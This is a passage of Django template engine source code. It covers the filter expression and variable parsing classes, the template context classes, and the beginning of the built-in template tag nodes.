            "or load this tag?" % (token.lineno, command)
        )

    def unclosed_block_tag(self, parse_until):
        command, token = self.command_stack.pop()
        msg = "Unclosed tag on line %d: '%s'. Looking for one of: %s." % (
            token.lineno,
            command,
            ', '.join(parse_until),
        )
        raise self.error(token, msg)

    def next_token(self):
        return self.tokens.pop(0)

    def prepend_token(self, token):
        self.tokens.insert(0, token)

    def delete_first_token(self):
        del self.tokens[0]

    def add_library(self, lib):
        self.tags.update(lib.tags)
        self.filters.update(lib.filters)

    def compile_filter(self, token):
        """
        Convenient wrapper for FilterExpression
        """
        return FilterExpression(token, self)

    def find_filter(self, filter_name):
        if filter_name in self.filters:
            return self.filters[filter_name]
        else:
            raise TemplateSyntaxError("Invalid filter: '%s'" % filter_name)


# This only matches constant *strings* (things in quotes or marked for
# translation). Numbers are treated as variables for implementation reasons
# (so that they retain their type when passed to filters).
constant_string = r"""
(?:%(i18n_open)s%(strdq)s%(i18n_close)s|
%(i18n_open)s%(strsq)s%(i18n_close)s|
%(strdq)s|
%(strsq)s)
""" % {
    'strdq': r'"[^"\\]*(?:\\.[^"\\]*)*"',  # double-quoted string
    'strsq': r"'[^'\\]*(?:\\.[^'\\]*)*'",  # single-quoted string
    'i18n_open': re.escape("_("),
    'i18n_close': re.escape(")"),
}
constant_string = constant_string.replace("\n", "")

filter_raw_string = r"""
^(?P<constant>%(constant)s)|
^(?P<var>[%(var_chars)s]+|%(num)s)|
 (?:\s*%(filter_sep)s\s*
     (?P<filter_name>\w+)
         (?:%(arg_sep)s
             (?:
              (?P<constant_arg>%(constant)s)|
              (?P<var_arg>[%(var_chars)s]+|%(num)s)
             )
         )?
 )""" % {
    'constant': constant_string,
    'num': r'[-+\.]?\d[\d\.e]*',
    'var_chars': "\w\.",
    'filter_sep': re.escape(FILTER_SEPARATOR),
    'arg_sep': re.escape(FILTER_ARGUMENT_SEPARATOR),
}

filter_re = re.compile(filter_raw_string, re.UNICODE | re.VERBOSE)


class FilterExpression(object):
    """
    Parses a variable token and its optional filters (all as a single string),
    and return a list of tuples of the filter name and arguments.
    Sample::

        >>> token = 'variable|default:"Default value"|date:"Y-m-d"'
        >>> p = Parser('')
        >>> fe = FilterExpression(token, p)
        >>> len(fe.filters)
        2
        >>> fe.var
        <Variable: 'variable'>
    """
    def __init__(self, token, parser):
        self.token = token
        matches = filter_re.finditer(token)
        var_obj = None
        filters = []
        upto = 0
        for match in matches:
            start = match.start()
            if upto != start:
                raise TemplateSyntaxError("Could not parse some characters: "
                                          "%s|%s|%s" %
                                          (token[:upto], token[upto:start],
                                           token[start:]))
            if var_obj is None:
                var, constant = match.group("var", "constant")
                if constant:
                    try:
                        var_obj = Variable(constant).resolve({})
                    except VariableDoesNotExist:
                        var_obj = None
                elif var is None:
                    raise TemplateSyntaxError("Could not find variable at "
                                              "start of %s." % token)
                else:
                    var_obj = Variable(var)
            else:
                filter_name = match.group("filter_name")
                args = []
                constant_arg, var_arg = match.group("constant_arg", "var_arg")
                if constant_arg:
                    args.append((False, Variable(constant_arg).resolve({})))
                elif var_arg:
                    args.append((True, Variable(var_arg)))
                filter_func = parser.find_filter(filter_name)
                self.args_check(filter_name, filter_func, args)
                filters.append((filter_func, args))
            upto = match.end()
        if upto != len(token):
            raise TemplateSyntaxError("Could not parse the remainder: '%s' "
                                      "from '%s'" % (token[upto:], token))

        self.filters = filters
        self.var = var_obj

    def resolve(self, context, ignore_failures=False):
        if isinstance(self.var, Variable):
            try:
                obj = self.var.resolve(context)
            except VariableDoesNotExist:
                if ignore_failures:
                    obj = None
                else:
                    string_if_invalid = context.template.engine.string_if_invalid
                    if string_if_invalid:
                        if '%s' in string_if_invalid:
                            return string_if_invalid % self.var
                        else:
                            return string_if_invalid
                    else:
                        obj = string_if_invalid
        else:
            obj = self.var
        escape_isnt_last_filter = True
        for func, args in self.filters:
            arg_vals = []
            for lookup, arg in args:
                if not lookup:
                    arg_vals.append(mark_safe(arg))
                else:
                    arg_vals.append(arg.resolve(context))
            if getattr(func, 'expects_localtime', False):
                obj = template_localtime(obj, context.use_tz)
            if getattr(func, 'needs_autoescape', False):
                new_obj = func(obj, autoescape=context.autoescape, *arg_vals)
            else:
                new_obj = func(obj, *arg_vals)
            if getattr(func, 'is_safe', False) and isinstance(obj, SafeData):
                obj = mark_safe(new_obj)
            elif isinstance(obj, EscapeData):
                with warnings.catch_warnings():
                    # Ignore mark_for_escaping deprecation as this will be
                    # removed in Django 2.0.
                    warnings.simplefilter('ignore', category=RemovedInDjango20Warning)
                    obj = mark_for_escaping(new_obj)
                    escape_isnt_last_filter = False
            else:
                obj = new_obj
        if not escape_isnt_last_filter:
            warnings.warn(
                "escape isn't the last filter in %s and will be applied "
                "immediately in Django 2.0 so the output may change."
                % [func.__name__ for func, _ in self.filters],
                RemovedInDjango20Warning, stacklevel=2
            )
        return obj

    def args_check(name, func, provided):
        provided = list(provided)
        # First argument, filter input, is implied.
        plen = len(provided) + 1
        # Check to see if a decorator is providing the real function.
        func = getattr(func, '_decorated_function', func)

        args, _, _, defaults = getargspec(func)
        alen = len(args)
        dlen = len(defaults or [])
        # Not enough OR Too many
        if plen < (alen - dlen) or plen > alen:
            raise TemplateSyntaxError("%s requires %d arguments, %d provided" %
                                      (name, alen - dlen, plen))

        return True
    args_check = staticmethod(args_check)

    def __str__(self):
        return self.token


class Variable(object):
    """
    A template variable, resolvable against a given context. The variable may
    be a hard-coded string (if it begins and ends with single or double quote
    marks)::

        >>> c = {'article': {'section':'News'}}
        >>> Variable('article.section').resolve(c)
        'News'
        >>> Variable('article').resolve(c)
        {'section': 'News'}
        >>> class AClass: pass
        >>> c = AClass()
        >>> c.article = AClass()
        >>> c.article.section = 'News'

    (The example assumes VARIABLE_ATTRIBUTE_SEPARATOR is '.')
    """

    def __init__(self, var):
        self.var = var
        self.literal = None
        self.lookups = None
        self.translate = False
        self.message_context = None

        if not isinstance(var, six.string_types):
            raise TypeError(
                "Variable must be a string or number, got %s" % type(var))
        try:
            # First try to treat this variable as a number.
            #
            # Note that this could cause an OverflowError here that we're not
            # catching. Since this should only happen at compile time, that's
            # probably OK.
            self.literal = float(var)

            # So it's a float... is it an int? If the original value contained a
            # dot or an "e" then it was a float, not an int.
            if '.' not in var and 'e' not in var.lower():
                self.literal = int(self.literal)

            # "2." is invalid
            if var.endswith('.'):
                raise ValueError

        except ValueError:
            # A ValueError means that the variable isn't a number.
            if var.startswith('_(') and var.endswith(')'):
                # The result of the lookup should be translated at rendering
                # time.
                self.translate = True
                var = var[2:-1]
            # If it's wrapped with quotes (single or double), then
            # we're also dealing with a literal.
            try:
                self.literal = mark_safe(unescape_string_literal(var))
            except ValueError:
                # Otherwise we'll set self.lookups so that resolve() knows we're
                # dealing with a bonafide variable
                if var.find(VARIABLE_ATTRIBUTE_SEPARATOR + '_') > -1 or var[0] == '_':
                    raise TemplateSyntaxError("Variables and attributes may "
                                              "not begin with underscores: '%s'" %
                                              var)
                self.lookups = tuple(var.split(VARIABLE_ATTRIBUTE_SEPARATOR))

    def resolve(self, context):
        """Resolve this variable against a given context."""
        if self.lookups is not None:
            # We're dealing with a variable that needs to be resolved
            value = self._resolve_lookup(context)
        else:
            # We're dealing with a literal, so it's already been "resolved"
            value = self.literal
        if self.translate:
            is_safe = isinstance(value, SafeData)
            msgid = value.replace('%', '%%')
            msgid = mark_safe(msgid) if is_safe else msgid
            if self.message_context:
                return pgettext_lazy(self.message_context, msgid)
            else:
                return ugettext_lazy(msgid)
        return value

    def __repr__(self):
        return "<%s: %r>" % (self.__class__.__name__, self.var)

    def __str__(self):
        return self.var

    def _resolve_lookup(self, context):
        """
        Performs resolution of a real variable (i.e. not a literal) against the
        given context.

        As indicated by the method's name, this method is an implementation
        detail and shouldn't be called by external code. Use Variable.resolve()
        instead.
        """
        current = context
        try:  # catch-all for silent variable failures
            for bit in self.lookups:
                try:  # dictionary lookup
                    current = current[bit]
                    # ValueError/IndexError are for numpy.array lookup on
                    # numpy < 1.9 and 1.9+ respectively
                except (TypeError, AttributeError, KeyError, ValueError, IndexError):
                    try:  # attribute lookup
                        # Don't return class attributes if the class is the context:
                        if isinstance(current, BaseContext) and getattr(type(current), bit):
                            raise AttributeError
                        current = getattr(current, bit)
                    except (TypeError, AttributeError) as e:
                        # Reraise an AttributeError raised by a @property
                        if (isinstance(e, AttributeError) and
                                not isinstance(current, BaseContext) and bit in dir(current)):
                            raise
                        try:  # list-index lookup
                            current = current[int(bit)]
                        except (IndexError,  # list index out of range
                                ValueError,  # invalid literal for int()
                                KeyError,    # current is a dict without `int(bit)` key
                                TypeError):  # unsubscriptable object
                            raise VariableDoesNotExist("Failed lookup for key "
                                                       "[%s] in %r",
                                                       (bit, current))  # missing attribute
                if callable(current):
                    if getattr(current, 'do_not_call_in_templates', False):
                        pass
                    elif getattr(current, 'alters_data', False):
                        current = context.template.engine.string_if_invalid
                    else:
                        try:  # method call (assuming no args required)
                            current = current()
                        except TypeError:
                            try:
                                inspect.getcallargs(current)
                            except TypeError:  # arguments *were* required
                                current = context.template.engine.string_if_invalid  # invalid method call
                            else:
                                raise
        except Exception as e:
            template_name = getattr(context, 'template_name', None) or 'unknown'
            logger.debug(
                "Exception while resolving variable '%s' in template '%s'.",
                bit,
                template_name,
                exc_info=True,
            )

            if getattr(e, 'silent_variable_failure', False):
                current = context.template.engine.string_if_invalid
            else:
                raise

        return current


class Node(object):
    # Set this to True for nodes that must be first in the template (although
    # they can be preceded by text nodes.
    must_be_first = False
    child_nodelists = ('nodelist',)
    token = None

    def render(self, context):
        """
        Return the node rendered as a string.
        """
        pass

    def render_annotated(self, context):
        """
        Render the node. If debug is True and an exception occurs during
        rendering, the exception is annotated with contextual line information
        where it occurred in the template. For internal usage this method is
        preferred over using the render method directly.
        """
        try:
            return self.render(context)
        except Exception as e:
            if context.template.engine.debug and not hasattr(e, 'template_debug'):
                e.template_debug = context.template.get_exception_info(e, self.token)
            raise

    def __iter__(self):
        yield self

    def get_nodes_by_type(self, nodetype):
        """
        Return a list of all nodes (within this node and its nodelist)
        of the given type
        """
        nodes = []
        if isinstance(self, nodetype):
            nodes.append(self)
        for attr in self.child_nodelists:
            nodelist = getattr(self, attr, None)
            if nodelist:
                nodes.extend(nodelist.get_nodes_by_type(nodetype))
        return nodes


class NodeList(list):
    # Set to True the first time a non-TextNode is inserted by
    # extend_nodelist().
    contains_nontext = False

    def render(self, context):
        bits = []
        for node in self:
            if isinstance(node, Node):
                bit = node.render_annotated(context)
            else:
                bit = node
            bits.append(force_text(bit))
        return mark_safe(''.join(bits))

    def get_nodes_by_type(self, nodetype):
        "Return a list of all nodes of the given type"
        nodes = []
        for node in self:
            nodes.extend(node.get_nodes_by_type(nodetype))
        return nodes


class TextNode(Node):
    def __init__(self, s):
        self.s = s

    def __repr__(self):
        rep = "<%s: %r>" % (self.__class__.__name__, self.s[:25])
        return force_str(rep, 'ascii', errors='replace')

    def render(self, context):
        return self.s


def render_value_in_context(value, context):
    """
    Converts any value to a string to become part of a rendered template. This
    means escaping, if required, and conversion to a unicode object. If value
    is a string, it is expected to have already been translated.
    """
    value = template_localtime(value, use_tz=context.use_tz)
    value = localize(value, use_l10n=context.use_l10n)
    value = force_text(value)
    if context.autoescape or isinstance(value, EscapeData):
        return conditional_escape(value)
    else:
        return value


class VariableNode(Node):
    def __init__(self, filter_expression):
        self.filter_expression = filter_expression

    def __repr__(self):
        return "<Variable Node: %s>" % self.filter_expression

    def render(self, context):
        try:
            output = self.filter_expression.resolve(context)
        except UnicodeDecodeError:
            # Unicode conversion can fail sometimes for reasons out of our
            # control (e.g. exception rendering). In that case, we fail
            # quietly.
            return ''
        return render_value_in_context(output, context)

# Regex for token keyword arguments
kwarg_re = re.compile(r"(?:(\w+)=)?(.+)")


def token_kwargs(bits, parser, support_legacy=False):
    """
    A utility method for parsing token keyword arguments.

    :param bits: A list containing remainder of the token (split by spaces)
        that is to be checked for arguments. Valid arguments will be removed
        from this list.

    :param support_legacy: If set to true ``True``, the legacy format
        ``1 as foo`` will be accepted. Otherwise, only the standard ``foo=1``
        format is allowed.

    :returns: A dictionary of the arguments retrieved from the ``bits`` token
        list.

    There is no requirement for all remaining token ``bits`` to be keyword
    arguments, so the dictionary will be returned as soon as an invalid
    argument format is reached.
    """
    if not bits:
        return {}
    match = kwarg_re.match(bits[0])
    kwarg_format = match and match.group(1)
    if not kwarg_format:
        if not support_legacy:
            return {}
        if len(bits) < 3 or bits[1] != 'as':
            return {}

    kwargs = {}
    while bits:
        if kwarg_format:
            match = kwarg_re.match(bits[0])
            if not match or not match.group(1):
                return kwargs
            key, value = match.groups()
            del bits[:1]
        else:
            if len(bits) < 3 or bits[1] != 'as':
                return kwargs
            key, value = bits[2], bits[0]
            del bits[:3]
        kwargs[key] = parser.compile_filter(value)
        if bits and not kwarg_format:
            if bits[0] != 'and':
                return kwargs
            del bits[:1]
    return kwargs






import warnings
from contextlib import contextmanager
from copy import copy

from django.utils.deprecation import RemovedInDjango20Warning

# Hard-coded processor for easier use of CSRF protection.
_builtin_context_processors = ('django.template.context_processors.csrf',)


class ContextPopException(Exception):
    "pop() has been called more times than push()"
    pass


class ContextDict(dict):
    def __init__(self, context, *args, **kwargs):
        super(ContextDict, self).__init__(*args, **kwargs)

        context.dicts.append(self)
        self.context = context

    def __enter__(self):
        return self

    def __exit__(self, *args, **kwargs):
        self.context.pop()


class BaseContext(object):
    def __init__(self, dict_=None):
        self._reset_dicts(dict_)

    def _reset_dicts(self, value=None):
        builtins = {'True': True, 'False': False, 'None': None}
        self.dicts = [builtins]
        if value is not None:
            self.dicts.append(value)

    def __copy__(self):
        duplicate = copy(super(BaseContext, self))
        duplicate.dicts = self.dicts[:]
        return duplicate

    def __repr__(self):
        return repr(self.dicts)

    def __iter__(self):
        for d in reversed(self.dicts):
            yield d

    def push(self, *args, **kwargs):
        dicts = []
        for d in args:
            if isinstance(d, BaseContext):
                dicts += d.dicts[1:]
            else:
                dicts.append(d)
        return ContextDict(self, *dicts, **kwargs)

    def pop(self):
        if len(self.dicts) == 1:
            raise ContextPopException
        return self.dicts.pop()

    def __setitem__(self, key, value):
        "Set a variable in the current context"
        self.dicts[-1][key] = value

    def set_upward(self, key, value):
        """
        Set a variable in one of the higher contexts if it exists there,
        otherwise in the current context.
        """
        context = self.dicts[-1]
        for d in reversed(self.dicts):
            if key in d.keys():
                context = d
                break
        context[key] = value

    def __getitem__(self, key):
        "Get a variable's value, starting at the current context and going upward"
        for d in reversed(self.dicts):
            if key in d:
                return d[key]
        raise KeyError(key)

    def __delitem__(self, key):
        "Delete a variable from the current context"
        del self.dicts[-1][key]

    def has_key(self, key):
        warnings.warn(
            "%s.has_key() is deprecated in favor of the 'in' operator." % self.__class__.__name__,
            RemovedInDjango20Warning
        )
        return key in self

    def __contains__(self, key):
        for d in self.dicts:
            if key in d:
                return True
        return False

    def get(self, key, otherwise=None):
        for d in reversed(self.dicts):
            if key in d:
                return d[key]
        return otherwise

    def setdefault(self, key, default=None):
        try:
            return self[key]
        except KeyError:
            self[key] = default
        return default

    def new(self, values=None):
        """
        Returns a new context with the same properties, but with only the
        values given in 'values' stored.
        """
        new_context = copy(self)
        new_context._reset_dicts(values)
        return new_context

    def flatten(self):
        """
        Returns self.dicts as one dictionary
        """
        flat = {}
        for d in self.dicts:
            flat.update(d)
        return flat

    def __eq__(self, other):
        """
        Compares two contexts by comparing theirs 'dicts' attributes.
        """
        if isinstance(other, BaseContext):
            # because dictionaries can be put in different order
            # we have to flatten them like in templates
            return self.flatten() == other.flatten()

        # if it's not comparable return false
        return False


class Context(BaseContext):
    "A stack container for variable context"
    def __init__(self, dict_=None, autoescape=True, use_l10n=None, use_tz=None):
        self.autoescape = autoescape
        self.use_l10n = use_l10n
        self.use_tz = use_tz
        self.template_name = "unknown"
        self.render_context = RenderContext()
        # Set to the original template -- as opposed to extended or included
        # templates -- during rendering, see bind_template.
        self.template = None
        super(Context, self).__init__(dict_)

    @contextmanager
    def bind_template(self, template):
        if self.template is not None:
            raise RuntimeError("Context is already bound to a template")
        self.template = template
        try:
            yield
        finally:
            self.template = None

    def __copy__(self):
        duplicate = super(Context, self).__copy__()
        duplicate.render_context = copy(self.render_context)
        return duplicate

    def update(self, other_dict):
        "Pushes other_dict to the stack of dictionaries in the Context"
        if not hasattr(other_dict, '__getitem__'):
            raise TypeError('other_dict must be a mapping (dictionary-like) object.')
        if isinstance(other_dict, BaseContext):
            other_dict = other_dict.dicts[1:].pop()
        return ContextDict(self, other_dict)


class RenderContext(BaseContext):
    """
    A stack container for storing Template state.

    RenderContext simplifies the implementation of template Nodes by providing a
    safe place to store state between invocations of a node's `render` method.

    The RenderContext also provides scoping rules that are more sensible for
    'template local' variables. The render context stack is pushed before each
    template is rendered, creating a fresh scope with nothing in it. Name
    resolution fails if a variable is not found at the top of the RequestContext
    stack. Thus, variables are local to a specific template and don't affect the
    rendering of other templates as they would if they were stored in the normal
    template context.
    """
    def __iter__(self):
        for d in self.dicts[-1]:
            yield d

    def __contains__(self, key):
        return key in self.dicts[-1]

    def get(self, key, otherwise=None):
        return self.dicts[-1].get(key, otherwise)

    def __getitem__(self, key):
        return self.dicts[-1][key]


class RequestContext(Context):
    """
    This subclass of template.Context automatically populates itself using
    the processors defined in the engine's configuration.
    Additional processors can be specified as a list of callables
    using the "processors" keyword argument.
    """
    def __init__(self, request, dict_=None, processors=None, use_l10n=None, use_tz=None, autoescape=True):
        super(RequestContext, self).__init__(
            dict_, use_l10n=use_l10n, use_tz=use_tz, autoescape=autoescape)
        self.request = request
        self._processors = () if processors is None else tuple(processors)
        self._processors_index = len(self.dicts)

        # placeholder for context processors output
        self.update({})

        # empty dict for any new modifications
        # (so that context processors don't overwrite them)
        self.update({})

    @contextmanager
    def bind_template(self, template):
        if self.template is not None:
            raise RuntimeError("Context is already bound to a template")

        self.template = template
        # Set context processors according to the template engine's settings.
        processors = (template.engine.template_context_processors +
                      self._processors)
        updates = {}
        for processor in processors:
            updates.update(processor(self.request))
        self.dicts[self._processors_index] = updates

        try:
            yield
        finally:
            self.template = None
            # Unset context processors.
            self.dicts[self._processors_index] = {}

    def new(self, values=None):
        new_context = super(RequestContext, self).new(values)
        # This is for backwards-compatibility: RequestContexts created via
        # Context.new don't include values from context processors.
        if hasattr(new_context, '_processors_index'):
            del new_context._processors_index
        return new_context


def make_context(context, request=None, **kwargs):
    """
    Create a suitable Context from a plain dict and optionally an HttpRequest.
    """
    if request is None:
        context = Context(context, **kwargs)
    else:
        # The following pattern is required to ensure values from
        # context override those from template context processors.
        original_context = context
        context = RequestContext(request, **kwargs)
        if original_context:
            context.push(original_context)
    return context






"""Default tags used by the template system, available to all templates."""
from __future__ import unicode_literals

import re
import sys
import warnings
from datetime import datetime
from itertools import cycle as itertools_cycle, groupby

from django.conf import settings
from django.utils import six, timezone
from django.utils.encoding import force_text, smart_text
from django.utils.html import conditional_escape, format_html
from django.utils.lorem_ipsum import paragraphs, words
from django.utils.safestring import mark_safe

from .base import (
    BLOCK_TAG_END, BLOCK_TAG_START, COMMENT_TAG_END, COMMENT_TAG_START,
    SINGLE_BRACE_END, SINGLE_BRACE_START, VARIABLE_ATTRIBUTE_SEPARATOR,
    VARIABLE_TAG_END, VARIABLE_TAG_START, Context, Node, NodeList,
    TemplateSyntaxError, VariableDoesNotExist, kwarg_re,
    render_value_in_context, token_kwargs,
)
from .defaultfilters import date
from .library import Library
from .smartif import IfParser, Literal

register = Library()


class AutoEscapeControlNode(Node):
    """Implements the actions of the autoescape tag."""
    def __init__(self, setting, nodelist):
        self.setting, self.nodelist = setting, nodelist

    def render(self, context):
        old_setting = context.autoescape
        context.autoescape = self.setting
        output = self.nodelist.render(context)
        context.autoescape = old_setting
        if self.setting:
            return mark_safe(output)
        else:
            return output


class CommentNode(Node):
    def render(self, context):
        return ''


class CsrfTokenNode(Node):
    def render(self, context):
        csrf_token = context.get('csrf_token')
        if csrf_token:
            if csrf_token == 'NOTPROVIDED':
                return format_html("")
            else:
                return format_html("<input type='hidden' name='csrfmiddlewaretoken' value='{}' />", csrf_token)
        else:
            # It's very probable that the token is missing because of
            # misconfiguration, so we raise a warning
            if settings.DEBUG:
                warnings.warn(
                    "A {% csrf_token %} was used in a template, but the context "
                    "did not provide the value.  This is usually caused by not "
                    "using RequestContext."
                )
            return ''


class CycleNode(Node):
    def __init__(self, cyclevars, variable_name=None, silent=False):
        self.cyclevars = cyclevars
        self.variable_name = variable_name
        self.silent = silent

    def render(self, context):
        if self not in context.render_context:
            # First time the node is rendered in template
            context.render_context[self] = itertools_cycle(self.cyclevars)
        cycle_iter = context.render_context[self]
        value = next(cycle_iter).resolve(context)
        if self.variable_name:
            context.set_upward(self.variable_name, value)
        if self.silent:
            return ''
        return render_value_in_context(value, context)


class DebugNode(Node):
    def render(self, context):
        from pprint import pformat
        output = [force_text(pformat(val)) for val in context]
        output.append('\n\n')
        output.append(force_text(pformat(sys.modules)))
        return ''.join(output)


class FilterNode(Node):
    def __init__(self, filter_expr, nodelist):
        self.filter_expr, self.nodelist = filter_expr, nodelist

    def render(self, context):
        output = self.nodelist.render(context)
        # Apply filters.
        with context.push(var=output):
            return self.filter_expr.resolve(context)


class FirstOfNode(Node):
    def __init__(self, variables, asvar=None):
        self.vars = variables
        self.asvar = asvar

    def render(self, context):
        for var in self.vars:
            value = var.resolve(context, True)
            if value:
                first = render_value_in_context(value, context)
                if self.asvar:
                    context[self.asvar] = first
                    return ''
                return first
        return ''


class ForNode(Node):
    child_nodelists = ('nodelist_loop', 'nodelist_empty')

    def __init__(self, loopvars, sequence, is_reversed, nodelist_loop, nodelist_empty=None):
        self.loopvars, self.sequence = loopvars, sequence
        self.is_reversed = is_reversed
        self.nodelist_loop = nodelist_loop
        if nodelist_empty is None:
            self.nodelist_empty = NodeList()
        else:
            self.nodelist_empty = nodelist_empty

    def __repr__(self):
        reversed_text = ' reversed' if self.is_reversed else ''
        return "<For Node: for %s in %s, tail_len: %d%s>" % \
            (', '.join(self.loopvars), self.sequence, len(self.nodelist_loop),
             reversed_text)

    def __iter__(self):
        for node in self.nodelist_loop:
            yield node
        for node in self.nodelist_empty:
            yield node

    def render(self, context):
        if 'forloop' in context:
            parentloop = context['forloop']
        else:
            parentloop = {}
        with context.push():
            try:
                values = self.sequence.resolve(context, True)
            except VariableDoesNotExist:
                values = []
            if values is None:
                values = []
            if not hasattr(values, '__len__'):
                values = list(values)
            len_values = len(values)
            if len_values < 1:
                return self.nodelist_empty.render(context)
            nodelist = []
            if self.is_reversed:
                values = reversed(values)
            num_loopvars = len(self.loopvars)
            unpack = num_loopvars > 1
            # Create a forloop value in the context.  We'll update counters on each
            # iteration just below.
            loop_dict = context['forloop'] = {'parentloop': parentloop}
            for i, item in enumerate(values):
                # Shortcuts for current loop iteration number.
                loop_dict['counter0'] = i
                loop_dict['counter'] = i + 1
                # Reverse counter iteration numbers.
                loop_dict['revcounter'] = len_values - i
                loop_dict['revcounter0'] = len_values - i - 1
                # Boolean values designating first and last times through loop.
                loop_dict['first'] = (i == 0)
                loop_dict['last'] = (i == len_values - 1)

                pop_context = False
                if unpack:
                    # If there are multiple loop variables, unpack the item into
                    # them.
                    try:
                        len_item = len(item)
                    except TypeError:  # not an iterable
                        len_item = 1
                    # Check loop variable count before unpacking
                    if num_loopvars != len_item:
                        raise ValueError(
                            "Need {} values to unpack in for loop; got {}. "
                            .format(num_loopvars, len_item),
                        )
                    unpacked_vars = dict(zip(self.loopvars, item))
                    pop_context = True
                    context.update(unpacked_vars)
                else:
                    context[self.loopvars[0]] = item

                for node in self.nodelist_loop:
                    nodelist.append(node.render_annotated(context))

                if pop_context:
                    # The loop variables were pushed on to the context so pop them
                    # off again. This is necessary because the tag lets the length
                    # of loopvars differ to the length of each set of items and we
                    # don't want to leave any vars from the previous loop on the
                    # context.
                    context.pop()
        return mark_safe(''.join(force_text(n) for n in nodelist))


class IfChangedNode(Node):
    child_nodelists = ('nodelist_true', 'nodelist_false')

    def __init__(self, nodelist_true, nodelist_false, *varlist):
        self.nodelist_true, self.nodelist_false = nodelist_true, nodelist_false
        self._varlist = varlist

    def render(self, context):
        # Init state storage
        state_frame = self._get_context_stack_frame(context)
        if self not in state_frame:
            state_frame[self] = None

        nodelist_true_output = None
        try:
            if self._varlist:
                # Consider multiple parameters.  This automatically behaves
                # like an OR evaluation of the multiple variables.
                compare_to = [var.resolve(context, True) for var in self._varlist]
            else:
                # The "{% ifchanged %}" syntax (without any variables) compares the rendered output.
                compare_to = nodelist_true_output = self.nodelist_true.render(context)
        except VariableDoesNotExist:
            compare_to = None

        if compare_to != state_frame[self]:
            state_frame[self] = compare_to
            # render true block if not already rendered
            return nodelist_true_output or self.nodelist_true.render(context)
        elif self.nodelist_false:
            return self.nodelist_false.render(context)
        return ''

    def _get_context_stack_frame(self, context):
        # The Context object behaves like a stack where each template tag can create a new scope.
        # Find the place where to store the state to detect changes.
        if 'forloop' in context:
            # Ifchanged is bound to the local for loop.
            # When there is a loop-in-loop, the state is bound to the inner loop,
            # so it resets when the outer loop continues.
            return context['forloop']
        else:
            # Using ifchanged outside loops. Effectively this is a no-op because the state is associated with 'self'.
            return context.render_context


class IfEqualNode(Node):
    child_nodelists = ('nodelist_true', 'nodelist_false')

    def __init__(self, var1, var2, nodelist_true, nodelist_false, negate):
        self.var1, self.var2 = var1, var2
        self.nodelist_true, self.nodelist_false = nodelist_true, nodelist_false
        self.negate = negate

    def __repr__(self):
        return "<IfEqualNode>"

    def render(self, context):
        val1 = self.var1.resolve(context, True)
        val2 = self.var2.resolve(context, True)
        if (self.negate and val1 != val2) or (not self.negate and val1 == val2):
            return self.nodelist_true.render(context)
        return self.nodelist_false.render(context)


class IfNode(Node):

    def __init__(self, conditions_nodelists):
        self.conditions_nodelists = conditions_nodelists

    def __repr__(self):
        return "<IfNode>"

    def __iter__(self):
        for _, nodelist in self.conditions_nodelists:
            for node in nodelist:
                yield node

    @property
    def nodelist(self):
        return NodeList(node for _, nodelist in self.conditions_nodelists for node in nodelist)

    def render(self, context):
        for condition, nodelist in self.conditions_nodelists:

            if condition is not None:           # if / elif clause
                try:
                    match = condition.eval(context)
                except VariableDoesNotExist:
                    match = None
            else:                               # else clause
                match = True

            if match:
                return nodelist.render(context)

        return ''


class LoremNode(Node):
    def __init__(self, count, method, common):
        self.count, self.method, self.common = count, method, common

    def render(self, context):
        try:
            count = int(self.count.resolve(context))
        except (ValueError, TypeError):
            count = 1
        if self.method == 'w':
            return words(count, common=self.common)
        else:
            paras = paragraphs(count, common=self.common)
        if self.method == 'p':
            paras = ['<p>%s</p>' % p for p in paras]
        return '\n\n'.join(paras)


class RegroupNode(Node):
    def __init__(self, target, expression, var_name):
        self.target, self.expression = target, expression
        self.var_name = var_name

    def resolve_expression(self, obj, context):
        # This method is called for each object in self.target. See regroup()
        # for the reason why we temporarily put the object in the context.
        context[self.var_name] = obj
        return self.expression.resolve(context, True)

    def render(self, context):
        obj_list = self.target.resolve(context, True)
        if obj_list is None:
            # target variable wasn't found in context; fail silently.
            context[self.var_name] = []
            return ''
        # List of dictionaries in the format:
        # {'grouper': 'key', 'list': [list of contents]}.
        context[self.var_name] = [
            {'grouper': key, 'list': list(val)}
            for key, val in
            groupby(obj_list, lambda obj: self.resolve_expression(obj, context))
        ]
        return ''


class LoadNode(Node):
    def render(self, context):
        return ''


class NowNode(Node):
    def __init__(self, format_string, asvar=None):
        self.format_string = format_string
        self.asvar = asvar

    def render(self, context):
        tzinfo = timezone.get_current_timezone() if settings.USE_TZ else None
        formatted = date(datetime.now(tz=tzinfo), self.format_string)

        if self.asvar:
            context[self.asvar] = formatted
            return ''
        else:
            return formatted


class SpacelessNode(Node):
    def __init__(self, nodelist):
        self.nodelist = nodelist

    def render(self, context):
        from django.utils.html import strip_spaces_between_tags
        return strip_spaces_between_tags(self.nodelist.render(context).strip())


class TemplateTagNode(Node):
    mapping = {'openblock': BLOCK_TAG_START,
               'closeblock': BLOCK_TAG_END,
               'openvariable': VARIABLE_TAG_START,
               'closevariable': VARIABLE_TAG_END,
               'openbrace': SINGLE_BRACE_START,
               'closebrace': SINGLE_BRACE_END,
               'opencomment': COMMENT_TAG_START,
               'closecomment': COMMENT_TAG_END,
               }

    def __init__(self, tagtype):
        self.tagtype = tagtype

    def render(self, context):
        return self.mapping.get(self.tagtype, '')


class URLNode(Node):
    def __init__(self, view_name, args, kwargs, asvar):
        self.view_name = view_name
        self.args = args
        self.kwargs = kwargs
        self.asvar = asvar

    def render(self, context):
        from django.urls import reverse, NoReverseMatch
        args = [arg.resolve(context) for arg in self.args]
        kwargs = {
            smart_text(k, 'ascii'): v.resolve(context)
            for k, v in self.kwargs.items()
        }
        view_name = self.view_name.resolve(context)
        try:
            current_app = context.request.current_app
        except AttributeError:
            try:
                current_app = context.request.resolver_match.namespace
            except AttributeError:
                current_app = None
        # Try to look up the URL. If it fails, raise NoReverseMatch unless the
        # {% url ... as var %} construct is used, in which case return nothing.
        url = ''
        try:
            url = reverse(view_name, args=args, kwargs=kwargs, current_app=current_app)
        except NoReverseMatch:
            if self.asvar is None:
                raise

        if self.asvar:
            context[self.asvar] = url
            return ''
        else:
            if context.autoescape:
                url = conditional_escape(url)
            return url


class VerbatimNode(Node):
    def __init__(self, content):
        self.content = content

    def render(self, context):
        return self.content


class WidthRatioNode(Node):
    def __init__(self, val_expr, max_expr, max_width, asvar=None):
        self.val_expr = val_expr
        self.max_expr = max_expr
        self.max_width = max_width
        self.asvar = asvar

    def render(self, context):
        try:
            value = self.val_expr.resolve(context)
            max_value = self.max_expr.resolve(context)
            max_width = int(self.max_width.resolve(context))
        except VariableDoesNotExist:
            return ''
